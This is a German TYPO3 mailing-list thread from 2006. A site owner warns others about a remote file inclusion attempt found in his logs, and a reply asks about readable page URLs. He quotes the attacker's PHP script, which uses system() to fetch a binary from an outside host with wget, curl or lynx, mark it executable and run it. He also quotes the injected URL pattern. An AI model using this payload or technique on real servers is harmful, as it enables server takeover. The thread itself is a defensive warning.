[TYPO3-german] WARNUNG !!! - Komische Anfrage an mein Typo3

[Marko Hoffmann]

Hallo Christian,

das ist Schade für Dich. Wieder einmal unnütze Arbeit durch so nen Id**ten.
Mal aber eine andere Frage an Dich. Ich wahr soeben bei Dir mal auf der 
Seite und habe gesehen,
das bei Dir in der Navigation nicht index.php?id=Nr sondern z.b id=downloads 
steht. Wie bekommt man das denn hin?

Grüße Marko

----- Original Message ----- 
From: "Christian Leicht" <usenet at schani.com>
Newsgroups: typo3.german
To: <typo3-german at lists.netfielders.de>
Sent: Saturday, September 02, 2006 12:39 PM
Subject: [TYPO3-german] WARNUNG !!! - Komische Anfrage an mein Typo3


Sorry das ich am Samstag Mittag so schreie.

Aber ich habe gerade folgendes festgestellt:

Die Tage hatte ich über einen Angriffs "versuch" auf meiner 3.8.1
Installation berichtet und habe dann im .htacces Files den Zugriff für
die URI "abuser.republika.pl" gesperrt. Anscheinend war das zu spät.

Gerade habe ich bemerkt das beim aufrufen meiner Domain und nach
anklicken einiger Links - automatisch an die L Variable
"index.php?id=34&L=http://abuser.republika.pl/test" angehängt wird.

Ich mache mich gleich auf die Suche und versuche raus zu bekommen, wo
sich da was festgesetzt hat.

Die betroffene Domain http://www.leicht.info
Ich habe es auf verschiedenen Rechnern/Browsern nachvollzogen.

Bitte kontrolliert auch bei Euch

Danke

Christian


Christian Leicht schrieb:
> Hallo
>
> ich habe gerade meine Logfiles einer T3 installation durchgeschaut und
> folgenes gefunden:
>
> index.php?id=34&L=http://abuser.republika.pl/test
>
> Versucht da jemand meine Seite zu knacken? Wenn ich dem Link nachgehe
> kommt dieses php Script zum Vorschein:
>
> <?
>
> echo 'm4k4bra - mamy cie';
>
> system('cd /var/tmp;wget http://abuser.republika.pl/kt2; if [ ! -e ./kt2
> ]; then curl http://abuser.republika.pl/kt2 > kt2;fi;if [ ! -e ./kt2
> ];then lynx -dump http://abuser.republika.pl/kt2 >kt2; fi; chmod 777
> kt2; ./kt2&');
>
> ?>
>
> Christian
_______________________________________________
TYPO3-german mailing list
TYPO3-german at lists.netfielders.de
http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-german